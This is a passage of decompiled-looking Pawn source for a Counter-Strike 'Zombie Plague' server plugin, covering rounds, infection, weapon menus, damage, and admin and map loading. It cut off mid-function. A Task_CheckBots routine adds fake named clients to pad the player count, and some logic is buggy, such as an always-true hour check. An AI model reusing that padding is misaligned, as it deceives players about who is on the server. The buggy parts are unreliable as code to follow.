        static j;
        static i;
        i = GetRandomAlive();
        if (iPlayer)
        {
                i = iPlayer;
        }
        j = i;
        MakeZombie(0, i, false, false, false);
        i = 1;
        while (g_iMaxClients > i)
        {
                if (g_bAlive[i] && !g_bZombie[i] && get_team(i) == 1)
                {
                        set_team ( i, 2 );
                }
                i += 1;
        }
        set_hudmessage(255, 0, 0, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
        ShowSyncHudMsg(0, g_iTopMessageSync, "%s is the first zombie !!", g_cName[j]);
        remove_task(600);
        set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);
        return 0;
}

public EventHLTV()
{
        g_bRoundStart = true;
        g_fRoundStartTime = get_gametime();
        return 0;
}

public TaskCounter()
{
        g_iCounter -= 1;
        if (0 < g_iCounter < 9)
        {
                static cWord[12];
                num_to_word(g_iCounter, cWord, 12);
                set_hudmessage(179, 0, 0, -1.00, 0.28, 2, 0.02, 1.00, 0.01, 0.10, 10);
                ShowSyncHudMsg(0, g_iCounterMessage, "Infection in %d", g_iCounter);
                client_cmd(0, "spk fvox/%s", cWord);
        }
        return 0;
}

public EventRoundStart()
{
        g_iRoundType = 0;
        g_bRoundEnd = false;
        g_bRoundStart = true;
        g_iCounter = 11;
        remove_task(650);
        set_task(2.0, "TaskWelcome", 650, "", 0, "", 0);
        remove_task(550);
        set_task(12.0, "TaskZombie", 550, "", 0, "", 0);
        remove_task(700);
        set_task(1.0, "TaskCounter", 700, "", 0, "a", 11);
        static i;
        i = 1;
        while (g_iMaxClients + 1 > i)
        {
                if (g_bConnected[i] && get_user_jetpack(i))
                {
                        set_user_rocket_time(i, 0.0);
                }
                g_iJumpsNum[i] = 0;
                g_iPlantedMines[i] = 0;
                g_iTripMines[i] = 0;
                g_iBlinks[i] = 0;
                g_iPlayerMines[i][1] = 0;
                g_iPlayerMines[i][0] = 0;
                g_bTryder[i] = false;
                g_bUnlimitedClip[i] = false;
                i += 1;
        }
        static cMap[32];
        get_cvar_string("nextmap", cMap, 32);
        if (get_cvar_num("mp_timelimit") == 0)
        {
        set_task(3.0, "TaskInt", 0, "", 0, "", 0);
        set_task(7.0, "TaskChangeLevel", 0, "", 0, "", 0);
        }       
        return 0;
}

public EventRoundEnd()
{
        static Float:fCurrent;
        static Float:fLast;
        fCurrent = get_gametime();
        if (fCurrent - fLast < 0.5)
        {
                return 0;
        }
        fLast = fCurrent;
        g_iRoundsCount += 1;
        g_iRounds[g_iRoundsCount] = g_iRoundType;
        g_iLastMode = g_iRoundType;
        g_bRoundEnd = true;
        g_iRoundType = 0;
        remove_task(600);
        remove_task(700);
        remove_task(900);
        remove_task(550);
        remove_task(650);
        client_cmd(0, "stopsound");
        if (!GetZombies())
        {
                set_hudmessage(0, 0, 200, -1.00, 0.17, 0, 0.00, 3.00, 2.00, 1.00, -1);
                ShowSyncHudMsg(0, g_iTopMessageSync, "Humans have defeated the plague!");
                client_cmd(0, "spk %s", g_cEndRoundHumanSounds[random_num(0, 2)]);
        }
        else
        {
                if (!GetHumans())
                {
                        set_hudmessage(200, 0, 0, -1.00, 0.17, 0, 0.00, 3.00, 2.00, 1.00, -1);
                        ShowSyncHudMsg(0, g_iTopMessageSync, "Zombies have taken over the world!");
                        client_cmd(0, "spk %s", g_cEndRoundZombieSounds[random_num(0, 3)]);
                }
                else
                {
                        set_hudmessage(0, 200, 0, -1.00, 0.17, 0, 0.00, 3.00, 2.00, 1.00, -1);
                        ShowSyncHudMsg(0, g_iTopMessageSync, "No one won...");
                        client_cmd(0, "spk zombie_plague/end_round_win_no_one");
                }
        }
        static iFrags;
        static iPacks;
        static iKills;
        static cPacksLeader;
        static cFragsLeader;
        iPacks = 0;
        iKills = 0;
        cFragsLeader = 0;
        cFragsLeader = 0;
        g_iVariable = 1;
        while (g_iMaxClients + 1 > g_iVariable)
        {
                if (g_bConnected[g_iVariable])
                {
                        iFrags = get_frags(g_iVariable);
                        if (g_bConnected[g_iVariable] && get_frags(g_iVariable) > iKills)                               
                        {
                                iKills = iFrags;
                                cFragsLeader = g_iVariable;
                        }
                }
                g_iVariable += 1;
        }
        g_iVariable = 1;
        while (g_iMaxClients + 1 > g_iVariable)
        {
                if (g_bConnected[g_iVariable] && g_iPacks[g_iVariable] > iPacks)
                {
                        iPacks = g_iPacks[g_iVariable];
                        cPacksLeader = g_iVariable;
                }
                g_iVariable += 1;
        }
        PrintToChat(0, "^x04[ZP]^x01 The frags leader is^x03 %s^x01 @^x04 %i frags", g_cName[cFragsLeader], iKills);
        PrintToChat(0, "^x04[ZP]^x01 The packs leader is^x03 %s^x01 @^x04 %i packs", g_cName[cPacksLeader], iPacks);
        static iTeam;
        static j;
        static i;
        i = random_num(1, g_iMaxClients);
        iTeam = 1;
        j = 1;
        while (g_iMaxClients + 1 > j)
        {
                i += 1;
                if (i > g_iMaxClients)
                {
                        i = 1;
                }
                if (!g_bConnected[i] || 0 < get_team(i) < 3)
                {
                        if (iTeam > 2)
                        {
                                iTeam = 1;
                        }
                        set_team_offset(i, iTeam);
                        iTeam += 1;
                }
                j += 1;
        }       
        if (g_iVariables[1])
        {
                g_iVariables[2] = 1;
        }
        return 0;
}

public _PlayerSpawn(iPlayer)
{
        if (is_user_alive(iPlayer))
        {
                g_bAlive[iPlayer] = true;
                g_bCanBuy[iPlayer] = 1;
                g_cClass[iPlayer] = "Human";
                g_iBurningDuration[iPlayer] = 0;
                g_iPlayerType[iPlayer] = 0;
                g_bUnlimitedClip[iPlayer] = false;
                g_bNoDamage[iPlayer] = false;
                g_bZombie[iPlayer] = false;
                g_bFlashEnabled[iPlayer] = false;
                g_bFlash[iPlayer] = false;
                set_zombie(iPlayer, false);
                set_monster(iPlayer, false);
                remove_glow(iPlayer);
                g_bFrozen[iPlayer] = false;
                set_take_damage(iPlayer, 2);
                set_frozen(iPlayer, false);
                set_health(iPlayer, 150);
                set_gravity(iPlayer, 1.0);
                set_speed(iPlayer, 240.0);
                remove_task(iPlayer + 250);
                remove_task(iPlayer + 200);
                remove_task(iPlayer + 350);
                static Float:fCurrentTime;
                fCurrentTime = get_gametime();
                if (fCurrentTime - g_fLastChangedModel >=0.35)
                {
                        ChangeModel(iPlayer + 250);
                        g_fLastChangedModel = fCurrentTime;
                }
                else
                {
            set_task(g_fLastChangedModel + 0.35 - fCurrentTime, "ChangeModel", iPlayer + 250, "", 0, "", 0);
            g_fLastChangedModel = g_fLastChangedModel + 0.35;
                }
                set_task(0.2, "TaskShowMenu", iPlayer, "", 0, "", 0);
                set_task(random_float(1.0, 5.0), "TaskRespawn", iPlayer, "", 0, "", 0);
                if (!g_bRoundStart)
                {
                        if (g_iRoundType & 4 || g_iRoundType & 8 || g_iRoundType & 64 || g_iRoundType & 32)
                        {
                                MakeZombie(0, iPlayer, false, false, false);
                        }
                        if (g_iRoundType || g_iRoundType & 1 || g_iRoundType & 2)
                        {
                                if (get_team(iPlayer) != 2)
                                {
                                        set_team(iPlayer, 2);
                                }
                        }
                        if (g_iRoundType & 128 || g_iRoundType & 256)
                        {
                                MakeHuman(iPlayer, true, false);
                        }
                        if (g_iRoundType & 512)
                        {
                                MakeZombie(0, iPlayer, false, false, true);
                        }
                }
        }
        return 0;
}

public TaskRespawn(iPlayer)
{
        if (g_bConnected[iPlayer] && 0 < get_team(iPlayer) < 3)
        {
                if (!g_bAlive[iPlayer])
                {
                        ExecuteHamB(Ham_CS_RoundRespawn, iPlayer);
                        set_task(1.5, "TaskRespawn", iPlayer, "", 0, "", 0);
                }
                send_hide_weapon(iPlayer, 32);
                send_crosshair(iPlayer);
        }
        return 0;
}

public TaskShowMenu(iPlayer)
{
        if (g_bAlive[iPlayer] && !g_iPlayerType[iPlayer] && !g_bZombie[iPlayer])
        {
                menu_display(iPlayer, g_iPrimaryMenu);
        }
        return 0;
}

public _PrimaryMenu(iPlayer, iMenu, iItem)
{
        if (iItem != -3 && g_bAlive[iPlayer] && !g_bZombie[iPlayer] && !g_iPlayerType[iPlayer])
        {
                static iChoice;
                static iDummy;
                static cBuffer[3];
                menu_item_getinfo(iMenu,iItem, iDummy, cBuffer, charsmax ( cBuffer ), _, _, iDummy );
                iChoice = str_to_num(cBuffer);
                DropWeapons(iPlayer, 1509749160);
                give_weapon(iPlayer, g_cPrimaryEntities[iChoice]);
                give_ammo(iPlayer, g_iPrimaryWeapons[iChoice], 9999);
                menu_display(iPlayer, g_iSecondaryMenu, 0);
                g_bCanBuy[iPlayer] = 0;
        }
        return 0;
}

public _SecondaryMenu(iPlayer, iMenu, iItem)
{
        if (iItem != -3 && g_bAlive[iPlayer] && !g_bZombie[iPlayer] && !g_iPlayerType[iPlayer])
        {
                static iChoice;
                static iDummy;
                static cBuffer[3];
                menu_item_getinfo(iMenu,iItem, iDummy, cBuffer, charsmax ( cBuffer ), _, _, iDummy );
                iChoice = str_to_num(cBuffer);
                DropWeapons(iPlayer, 67308546);
                give_weapon(iPlayer, g_cSecondaryEntities[iChoice]);
                give_ammo(iPlayer, g_iSecondaryWeapons[iChoice], 9999);
                if (!user_has_weapon(iPlayer, 4, -1))
                {
                        give_weapon(iPlayer, "weapon_hegrenade");
                }
                if (!user_has_weapon(iPlayer, 25, -1))
                {
                        give_weapon(iPlayer, "weapon_flashbang");
                }
                if (!user_has_weapon(iPlayer, 9, -1))
                {
                        give_weapon(iPlayer, "weapon_smokegrenade");
                }
        }
        return 0;
}

DropWeapons(iPlayer, iType)
{
        static i;
        static cWeapon[24];
        static iNum;
        static iWeapons[32];
        iNum = 0;
        get_user_weapons(iPlayer, iWeapons, iNum);
        i = 0;
        while (i < iNum)
        {
                if (iType & 1 << iWeapons[i])
                {
                        get_weaponname(iWeapons[i], cWeapon, 24);
                        engclient_cmd(iPlayer, "drop", cWeapon);
                }
                i += 1;
        }
        return 0;
}

public plugin_init()
{
        register_plugin("Zombie Plague 6.2", "2.0b", "SideWinder");
        new i;
        new cNumber[3];
        new cLine[128];
        RegisterHam(Ham_Spawn, "player", "_PlayerSpawn", 1);
        RegisterHam(Ham_TakeDamage, "player", "_TakeDamage", 0);
        RegisterHam(Ham_TakeDamage, "player", "_TakeDamage_Post", 1);
        RegisterHam(Ham_Touch, "weaponbox", "_Touch", 0);
        RegisterHam(Ham_Touch, "armoury_entity", "_Touch", 0);
        RegisterHam(Ham_Touch, "weapon_shield", "_Touch", 0)
        RegisterHam(Ham_Item_PreFrame, "player", "_ResetMaxSpeed", 1);
        RegisterHam(Ham_Killed, "player", "_PlayerKilled", 0);
        RegisterHam(Ham_TraceAttack, "player", "_TraceAttack", 0);
        RegisterHam(Ham_Think, "grenade", "_GrenadeThink", 0);
        register_think("Mine", "Mine_Think");
        RegisterHam(Ham_Player_Duck, "player", "_PlayerDuck", 0);
        RegisterHam(Ham_Player_Jump, "player", "_PlayerJump", 0);
        RegisterHam(Ham_Weapon_PrimaryAttack, "weapon_knife", "_PrimaryAttack", 0);
        register_logevent("EventRoundStart", 2, "1=Round_Start");
        register_logevent("EventRoundEnd", 2, "1=Round_End");
        register_event("HLTV", "EventHLTV", "a", "1=0", "2=0");
        register_event("CurWeapon", "UpdateWeapon", "be", "1=1", "3=13", "3=15", "3=20", "3=25", "3=30", "3=35", "3=12", "3=10", "3=100", "3=8", "3=7", "3=50");
        register_event("CurWeapon", "Event_CurWeapon_KnifeModel", "be", "1=1", "2=18", "2=29");
        register_event("CurWeapon", "Event_CurWeapon_FillClip", "be", "1=1", "2!4", "2!9", "2!25", "2!29", "3<2");
        register_event("StatusValue", "EventStatusValue", "be", "1=2", "2!0");
        register_event("StatusValue", "EventStatusValueHide", "be", "1=1", "2=0");
        register_concmd("amx_addfake", "Command_AddFake", -1, "", -1);
        register_concmd("amx_freeze", "CmdFreeze", -1, "", -1);
        register_concmd("amx_unfreeze", "CmdUnfreeze", -1, "", -1);
        register_concmd("amx_psay", "Commmand_PrivateSay", -1, "", -1);
        register_concmd("amx_map", "Command_Map", -1, "", -1);
        register_concmd("amx_votemap", "CmdVoteMap", -1, "", -1);
        register_concmd("amx_who", "Command_Who", -1, "", -1);
        register_concmd("amx_last", "Command_Last", -1, "", -1);
        register_concmd("amx_unban", "Command_Unban", -1, "", -1);
        register_concmd("amx_addban", "Command_Addban", -1, "", -1);
        register_concmd("amx_banip", "Command_Banip", -1, "", -1);
        register_concmd("amx_kick", "Command_Kick", -1, "", -1);
        register_concmd("amx_slay", "Command_Slay", -1, "", -1);
        register_concmd("amx_slap", "Command_Slap", -1, "", -1);
        register_concmd("amx_gag", "Command_Gag", -1, "", -1);
        register_concmd("amx_ungag", "Command_Ungag", -1, "", -1);
        register_concmd("amx_exec", "Command_Exec", -1, "", -1);
        register_concmd("amx_destroy", "Command_Destroy", -1, "", -1);
        register_concmd("amx_showip", "Command_Showip", -1, "", -1);
        register_concmd("amx_reloadadmins", "Command_Reload", -1, "", -1);
        register_concmd("zp_jetpack", "CmdMode", -1, "", -1);
        register_concmd("zp_giveap", "CmdMode", -1, "", -1);
        register_concmd("zp_human", "CmdMode", -1, "", -1);
        register_concmd("zp_zombie", "CmdMode", -1, "", -1);
        register_concmd("zp_nemesis", "CmdMode", -1, "", -1);
        register_concmd("zp_sniper", "CmdMode", -1, "", -1);
        register_concmd("zp_survivor", "CmdMode", -1, "", -1);
        register_concmd("zp_assassin", "CmdMode", -1, "", -1);
        register_concmd("zp_respawn", "CmdMode", -1, "", -1);
        register_concmd("zp_swarm", "CmdMode", -1, "", -1);
        register_concmd("zp_plague", "CmdMode", -1, "", -1);
        register_concmd("zp_multi", "CmdMode", -1, "", -1);
        register_concmd("zp_avs", "CmdMode", -1, "", -1);
        register_concmd("zp_lnj", "CmdMode", -1, "", -1);
        register_concmd("zp_nightmare", "CmdMode", -1, "", -1);
        register_clcmd("cl_setautobuy", "CmdBlock", -1, "", -1);
        register_clcmd("cl_setrebuy", "CmdBlock", -1, "", -1);
        register_clcmd("cl_autoupdate", "CmdUpdate", -1, "", -1);
        register_clcmd("say", "Client_Say", -1, "", -1);
        register_clcmd("say_team", "Client_SayTeam", -1, "", -1);
        register_clcmd("jointeam", "Command_JoinTeam", -1, "", -1);
        register_clcmd("chooseteam", "Command_JoinTeam", -1, "", -1);
        register_clcmd("plant_mine", "Command_Plant", -1, "", -1);
        register_clcmd("take_mine", "Command_Take", -1, "", -1);
        register_clcmd("CreateLaser", "Command_Plant", -1, "", -1);
        register_clcmd("TakeLaser", "Command_Take", -1, "", -1);
        register_clcmd("+setlaser", "Command_Plant", -1, "", -1);
        register_clcmd("+dellaser", "Command_Take", -1, "", -1);
        register_clcmd("nightvision", "Command_Flash", -1, "", -1);
        register_clcmd("drop", "Command_Drop", -1, "", -1);
        register_message(get_user_msgid("Health"), "MessageHealth");
        register_message(get_user_msgid("SayText"), "MessageSayText");
        register_message(get_user_msgid("Money"), "MessageMoney");
        set_msg_block(get_user_msgid("TextMsg"), 2);
        set_msg_block(get_user_msgid("SendAudio"), 2);
        set_msg_block(get_user_msgid("AmmoPickup"), 2);
        set_msg_block(get_user_msgid("WeapPickup"), 2);
        g_iMaxClients = get_maxplayers();
        g_iTopMessageSync = CreateHudSyncObj(0);
        g_iLeftMessageSync = CreateHudSyncObj(0);
        g_iDownMessageSync = CreateHudSyncObj(0);
        g_iCenterMessageSync = CreateHudSyncObj(0);
        g_iFirstMineMessage = CreateHudSyncObj(0);
        g_iSecondMineMessage = CreateHudSyncObj(0);
        g_iEventsHudmessage = CreateHudSyncObj(0);
        g_iCounterMessage = CreateHudSyncObj(0);
        g_iRemainingSync = CreateHudSyncObj(0);
        g_iGameMenu = menu_create("Game Menu", "_GameMenu");
        g_iSecondaryMenu = menu_create("Secondary Menu", "_SecondaryMenu");
        g_iPrimaryMenu = menu_create("Primary Menu", "_PrimaryMenu");
        g_iMenuZombieClasses = menu_create("Zombie Classes", "_ZombieClasses");
        menu_additem(g_iGameMenu, "Buy Weapons", "0", 0, -1);
        menu_additem(g_iGameMenu, "Buy extra items", "1", 0, -1);
        menu_additem(g_iGameMenu, "Choose zombie class", "2", 0, -1);
        menu_additem(g_iGameMenu, "Unstuck", "3", 0, -1);
        menu_additem(g_iGameMenu, "Join spectator", "4", 0, -1);
        i = 0;
        while (i < 7)
        {
                formatex(cLine, 128, "%s %s", g_cZombieClasses[i], g_cZombieAttribs[i]);
                num_to_str(i, cNumber, 3);
                menu_additem(g_iMenuZombieClasses, cLine, cNumber, 0, -1);
                i++;
        }
        i = 0;
        while (i < 6)
        {
                num_to_str(i, cNumber, 3);
                menu_additem(g_iSecondaryMenu, g_cSecondaryWeapons[i], cNumber, 0, -1);
                g_iSecondaryWeapons[i] = get_weaponid(g_cSecondaryEntities[i]);
                i++;
        }
        i = 0;
        while (i < 14)
        {
                num_to_str(i, cNumber, 3);
                menu_additem(g_iPrimaryMenu, g_cPrimaryWeapons[i], cNumber, 0, -1);
                g_iPrimaryWeapons[i] = get_weaponid(g_cPrimaryEntities[i]);
                i++;
        }
        g_aNameData = ArrayCreate(32, 1);
        g_aAmmoData = ArrayCreate(1, 1);
        set_task(0.5, "TaskGetAdmins", 0, "", 0, "", 0);
        set_task(6.2, "TaskGetMaps", 0, "", 0, "", 0);
        set_task(3.5, "TaskGetHudMsg", 0, "", 0, "", 0);
        set_task(33.5, "Task_SendMessages", 0, "", 0, "b", 0);       
        set_task(5.0, "TaskLight", 0, "", 0, "b", 0);
        g_bAdmin[0] = true;
        set_task(2.0, "TaskCalculateArguments", 0, "", 0, "b", 0);
        static cTime;
        static iTime[3];
        get_time("%H", iTime, 2);
        cTime = str_to_num(iTime);
        if (cTime >= 18 || cTime <= 19)
        {
        set_task(0.5, "Task_CheckBots", 0, "", 0, "a", 3);
        }
        return 0;
}

public plugin_end()
{
        static current_map[32];
        get_mapname(current_map, 31);
        set_localinfo("lastMap", current_map);
        return 0;
}

public TaskGetHudMsg()
{
        static cLine[161];
        static iFile;
        iFile = fopen("addons/amxmodx/configs/messages.ini", "r");
        while(!feof(iFile))
        {
                fgets(iFile, cLine, 160);
                trim(cLine);
                if (strlen(cLine) > 4)
                {
                        parse(cLine, g_cHudCollors[g_iHudAdvertisementsCount], 14, g_cHudAdvertisements[g_iHudAdvertisementsCount], 119);
                        replace_all(g_cHudAdvertisements[g_iHudAdvertisementsCount], 119, "\n", "^n");
                        g_iHudAdvertisementsCount++;
                }
        }
        fclose(iFile);
}

public Task_SendMessages()
{
        if (g_iHudMessage >= g_iHudAdvertisementsCount)
        {
                g_iHudMessage = 0;
        }
        set_hudmessage(str_to_num(g_cHudCollors[g_iHudMessage]), str_to_num(g_cHudCollors[g_iHudMessage][3]), str_to_num(g_cHudCollors[g_iHudMessage][7]), -1.0, 0.20, 2, 0.20, 12.0, 0.10, 0.01, -1);
        show_hudmessage(0, "%s", g_cHudAdvertisements[g_iHudMessage]);
        client_print(0, print_console, "%s", g_cHudAdvertisements[g_iHudMessage]);
        g_iHudMessage++;
}

public TaskGetMaps()
{
        static cTime;
        static iTime[3];
        static cRight[32];
        static cLeft[32];
        static bool:bNight;
        static bool:bStop;
        static cMaps[128][32];
        static iRandom;
        static iPreparedMaps;
        static cLastMap[32];
        static cMap[32];
        static iMaps;
        static cLine[64];
        static iFile;
        iPreparedMaps = 0;
        iMaps = 0;
        get_time("%H", iTime, 2);
        cTime = str_to_num(iTime);
        get_mapname(cMap, 31);
        get_localinfo("lastMap", cLastMap, 31);
        iFile = fopen("addons/amxmodx/configs/maps.ini", "r");
        if (cTime >= 22 || cTime <= 13)
        {
                bNight = true;
        }
        while (!feof(iFile))
        {
                fgets(iFile, cLine, 63);
                strtok(cLine, cLeft, 31, cRight, 31, 32, 0);
                trim(cLeft);
                trim(cRight);
                if (!bNight)
                {
                        if (is_map_valid(cLeft) && !equal(cLeft, cMap) && !equal(cLeft, cLastMap) && !equali(cRight, "*"))
                        {
                                copy(cMaps[iMaps], 31, cLeft);
                        }
                        iMaps += 1;
                }
                else
                {
                        if (is_map_valid(cLeft) && !equal(cLeft, cMap) && !equal(cLeft, cLastMap) && !equali(cRight, ";"))
                        {
                                copy(cMaps[iMaps], 31, cLeft);
                        }
                        iMaps += 1;
                }                       
                       
        }
        fclose(iFile);
        while (iPreparedMaps != 4)
        {
                iRandom = random_num(0, iMaps + -1);
                bStop = false;
                g_iVariable = 0;
                while (g_iVariable < 4)
                {
                        if (equal(cMaps[iRandom], g_cMaps[g_iVariable]))
                        {
                                bStop = true;
                        }
                        g_iVariable += 1;
                }
                if (!bStop)
                {
                        if (is_map_valid(cMaps[iRandom]))
                        {
                                formatex(g_cMaps[iPreparedMaps], 32, cMaps[iRandom]);
                                iPreparedMaps += 1;
                        }
                }
        }
        set_task(30.0, "CheckTimeleft", 25613, "", 0, "b", 0);       
        return 0;
}

public TaskGetAdmins()
{
        static cLine[161];
        static iFile;       
        iFile = fopen("addons/amxmodx/configs/users/UserAcount.ini", "r");
        if (iFile)
        {
                while (!feof(iFile))
                {
                        fgets(iFile, cLine, 255);
                        trim(cLine);
                        if (cLine[0] != 59 && strlen(cLine) > 5)
                        {
                            parse(cLine, g_cSteams[g_iAdminsCount], 24, g_cNames[g_iAdminsCount], 31, g_cPasswords[g_iAdminsCount], 31, g_cFlags[g_iAdminsCount], 31, g_cTags[g_iAdminsCount], 24);
                            g_iAdminsCount++;
                        }               
                }
                fclose (iFile);
        }
        return 0;
}

public Task_CheckBots()
{
        if (get_playersnum(1) < g_iMaxClients && g_iBotsCount < 3)
        {
                static i;
                static bool:bDone;
                static cName[32];
                static iRandom;
                iRandom = random_num(0, 3);
                bDone = true;
                i = 1;
                while (g_iMaxClients + 1 > i)
                {
                        if (is_user_connected(i))
                        {
                                get_user_name(i, cName, 32);
                                if (equali(cName, g_cBotNames[iRandom]))
                                {
                                        bDone = false;
                                }
                        }
                        i += 1;
                }
                if (bDone)
                {
                        static iBot;
                        iBot = fake(g_cBotNames[iRandom]);
                        if (0 < iBot)
                        {
                                g_bFake[iBot] = true;
                                g_iBotsCount += 1;
                        }
                }
                remove_task(750);
                set_task(60.0, "Task_CheckBots", 750, "", 0, "b", 0);
        }
        return 0;
}

public _Touch(iWeapon, iPlayer)
{
        if (!is_user_valid_connected(iPlayer))
        {
                return 1;
        }
        if (g_bZombie [iPlayer] || (g_iPlayerType[iPlayer] & 8 || g_iPlayerType[iPlayer] & 4 )|| (g_iPlayerType[iPlayer] & 1 || g_iPlayerType[iPlayer] & 2))
        {
                return 4;
        }
        return 1;
}

public _TakeDamage(iVictim, iInflictor, iAttacker, Float:fDamage, iDamageType)
{
        if (iAttacker == iVictim || !g_bConnected[iAttacker])
        {
                return 1;
        }
        if (g_bRoundStart || g_bRoundEnd || g_bZombie[iVictim] == g_bZombie[iAttacker] || g_bNoDamage[iVictim])
        {
                return 4;
        }
        if (!g_bZombie[iAttacker])
        {
                if (g_iPlayerType[iAttacker] & 8 && g_iWeapon[iAttacker] == 18)
                {
                        SetHamParamFloat(4, 4600.0);
                }
                else
                {
                        if (!g_iPlayerType[iVictim])
                        {
                                SetHamParamFloat(4, floatmul(0.75, fDamage));
                        }
                        g_fDamage[iAttacker] += floatround(fDamage);
                        while (g_fDamage[iAttacker] > 500.0)
                        {
                g_iPacks[iAttacker]++;
                g_fDamage[iAttacker] -= 500.0;
                        }
                        if (++g_iPosition[iAttacker] == 8)
                        {
                                g_iPosition[iAttacker] = 0;
                        }
                        set_hudmessage(0, 40, 80, g_fDamageCoords[g_iPosition[iAttacker]][0], g_fDamageCoords[g_iPosition[iAttacker]][1], 0, 0.10, 2.50, 0.02, 0.02, -1);
                        show_hudmessage(iAttacker, "%0.0f", fDamage);
                }
                return 1;
        }
        if (iDamageType & FL_ONTRAIN)
        {
                return 4;
        }
        if (g_iPlayerType[iAttacker] & 1 || g_iPlayerType[iAttacker] & 2 || g_iRoundType & 4 || g_iRoundType & 8 || g_iRoundType & 1 || g_iRoundType & 64 || g_iRoundType & 32 || g_iRoundType & 128 || g_iRoundType & 256 || g_iRoundType & 512 || GetHumans() == 1)
        {
                if (g_iPlayerType[iAttacker])
                {
                        SetHamParamFloat(4, 250.0);
                }
                return 1;
        }
        static iDamage;
        static iArmor;
        iArmor = get_armor(iVictim);
        iDamage = floatround(fDamage, floatround_round);
        if (0 < iArmor)
        {
                if (0 < iArmor - iDamage)
                {
                        set_armor(iVictim, iArmor - iDamage);
                }
                else
                {
                        reset_armor(iVictim);
                }
                sound(iVictim, 4, "zombie_plague/armor_hit.wav");
                return 4;
        }
        MakeZombie(iAttacker, iVictim, false, false, false);
        return 4;
}

public _TakeDamage_Post(iVictim)
{
        if (g_iPlayerType[iVictim] & 2)
        {
                set_painshock(iVictim);
        }
        return 0;
}

public _TraceAttack(iVictim, iAttacker, Float:fDamage, Float:fDirection[3], iTrace, iDamageType)
{
        if (iAttacker == iVictim || !g_bConnected[iAttacker])
        {
                return 1;
        }
        if (g_bRoundStart || g_bRoundEnd || g_bZombie[iVictim] == g_bZombie[iAttacker])
        {
                return 4;
        }
        if (!g_bZombie[iVictim] || g_bNoDamage[iVictim] || g_iPlayerType[iVictim] & 2 || iDamageType & DMG_BULLET || range(iVictim, iAttacker) > 500)
        {
                return 1;
        }
        static Float:fVelocity[3];
        get_velocity(iVictim, fVelocity);
        xs_vec_mul_scalar(fDirection, fDamage, fDirection);
        xs_vec_mul_scalar(fDirection, kb_weapon_power[g_iWeapon[iAttacker]], fDirection);
        if (get_ent_flags(iVictim) & (FL_DUCKING | FL_ONGROUND) == (FL_DUCKING | FL_ONGROUND))
        {
                xs_vec_mul_scalar(fDirection, 0.25, fDirection);
        }
        if (g_iPlayerType[iVictim] & 1)
        {
                xs_vec_mul_scalar(fDirection, 0.15, fDirection);
        }
        else
        {
                xs_vec_mul_scalar(fDirection, g_fZombieKnockbacks[g_iZombieClass[iVictim]], fDirection);
        }
        xs_vec_add(fVelocity, fDirection, fDirection);
        fDirection[2] = fVelocity[2];
        set_velocity(iVictim, fDirection);
        return 1;
}

public _PlayerJump(iPlayer)
{
    if (g_iJumpsNum[iPlayer])
    {
        new nbut = get_button(iPlayer)
        new obut = get_oldbuttons(iPlayer)
        if ((nbut & IN_JUMP) && !(get_ent_flags(iPlayer) & FL_ONGROUND) && !(obut & IN_JUMP) && g_iJumps[iPlayer] <= g_iJumpsNum[iPlayer] - 1)
        {
            static Float:fVelocity[3];
            get_velocity(iPlayer, fVelocity)
            fVelocity[2] = random_float(265.0, 285.0);
            set_velocity(iPlayer, fVelocity)
            g_iJumps[iPlayer]++;
        }
        if((nbut & IN_JUMP) && (get_ent_flags(iPlayer) & FL_ONGROUND))
        {
            g_iJumps[iPlayer] = 0;
        }
    }
    return 0;
}

public _PrimaryAttack(iEntity)
{
        static iOwner;
        iOwner = pev(iEntity, pev_owner);
        if (g_bZombie[iOwner] && g_iBlinks[iOwner])
        {
                if (get_target_and_attack(iOwner))
                {
                        PrintToChat(0, "^x04[ZP]^x03 %s^x01 just used a knife blink! (Blinks remaining:^x04 %i blinks^x01)", g_cName[iOwner], g_iBlinks[iOwner]);
                        g_iBlinks[iOwner]--;
                }
        }
        return 0;
}

public _PlayerKilled(iVictim, iAttacker, iGibs)
{
        g_bAlive[iVictim] = false;
        g_bTryder[iVictim] = false;
        g_bUnlimitedClip[iVictim] = false;
        g_bFrozen[iVictim] = false;
        set_frozen(iVictim, false);
        if (!g_bFlash[iVictim])
        {
                Task_EnableFlash(iVictim);
        }
        if (iAttacker == iVictim || !g_bConnected[iAttacker])
        {
                if (g_bZombie[iVictim])
                {
                        remove_task(iVictim + 200);
                }
                return 0;
        }
        if (g_iPlayerType[iAttacker] || g_iPlayerType[iVictim])
        {
                SetHamParamInteger(3, 2);
        }
        else
        {
                g_iPacks[iAttacker]++;
        }
        if (!g_bZombie[iAttacker])
        {
                remove_task(iVictim + 200);
                if (g_iRoundType & 4 || g_iRoundType & 8)
                {
                        static iZombies;
                        iZombies = GetZombies();
                        set_hudmessage(255, 255, 255, 0.02, 0.60, 2, 0.05, 0.10, 0.02, 3.00, -1);
                        if (iZombies != 1)
                        {
                            ShowSyncHudMsg(0, g_iRemainingSync, "%d Zombies Remaining...", iZombies);
                        }
                }
                if (g_iPlayerType[iAttacker] & 8)
                {
                        send_lava_splash(iVictim);
                }
        }
        else
        {
                if (g_iRoundType & 1 || g_iRoundType & 2)
                {
                        static iHumans;
                        iHumans = GetHumans();
                        set_hudmessage(255, 255, 255, 0.02, 0.60, 2, 0.05, 0.10, 0.02, 3.00, -1);
                        if (iHumans != 1)
                        {
                            ShowSyncHudMsg(0, g_iRemainingSync, "%d Humans Remaining...", iHumans);
                        }
                }
                if (g_iZombieClass[iAttacker] == 6 && !g_iPlayerType[iAttacker])
                {
                        SetHamParamInteger(3, 2);
                        send_screen_fade(iAttacker, 255, 10, 10, 94);
                }
        }
        return 0;
}

public UpdateWeapon(iPlayer)
{
        g_iWeapon[iPlayer] = read_data(2);
        return 0;
}

public Event_CurWeapon_KnifeModel(iPlayer)
{
        g_iWeapon[iPlayer] = read_data(2);
        if (g_bZombie[iPlayer])
        {
                switch (g_iWeapon[iPlayer])
                {
                        case 29:
                        {
                                if (!g_iPlayerType[iPlayer])
                                {
                                        set_pev(iPlayer, pev_viewmodel2, g_cZombieClaws[g_iZombieClass[iPlayer]]);
                                }
                                else
                                {
                                        if (g_iPlayerType[iPlayer] & 1)
                                        {
                                                set_pev(iPlayer, pev_viewmodel2, "models/zombie_plague/nemesis_claws.mdl");
                                        }
                                        if (g_iPlayerType[iPlayer] & 2)
                                        {
                                                set_pev(iPlayer, pev_viewmodel2, "models/zombie_plague/assassin_claws.mdl");
                                        }
                                }                               
                                set_pev(iPlayer, pev_weaponmodel2, "");
                        }
                }
        }
        else
        {
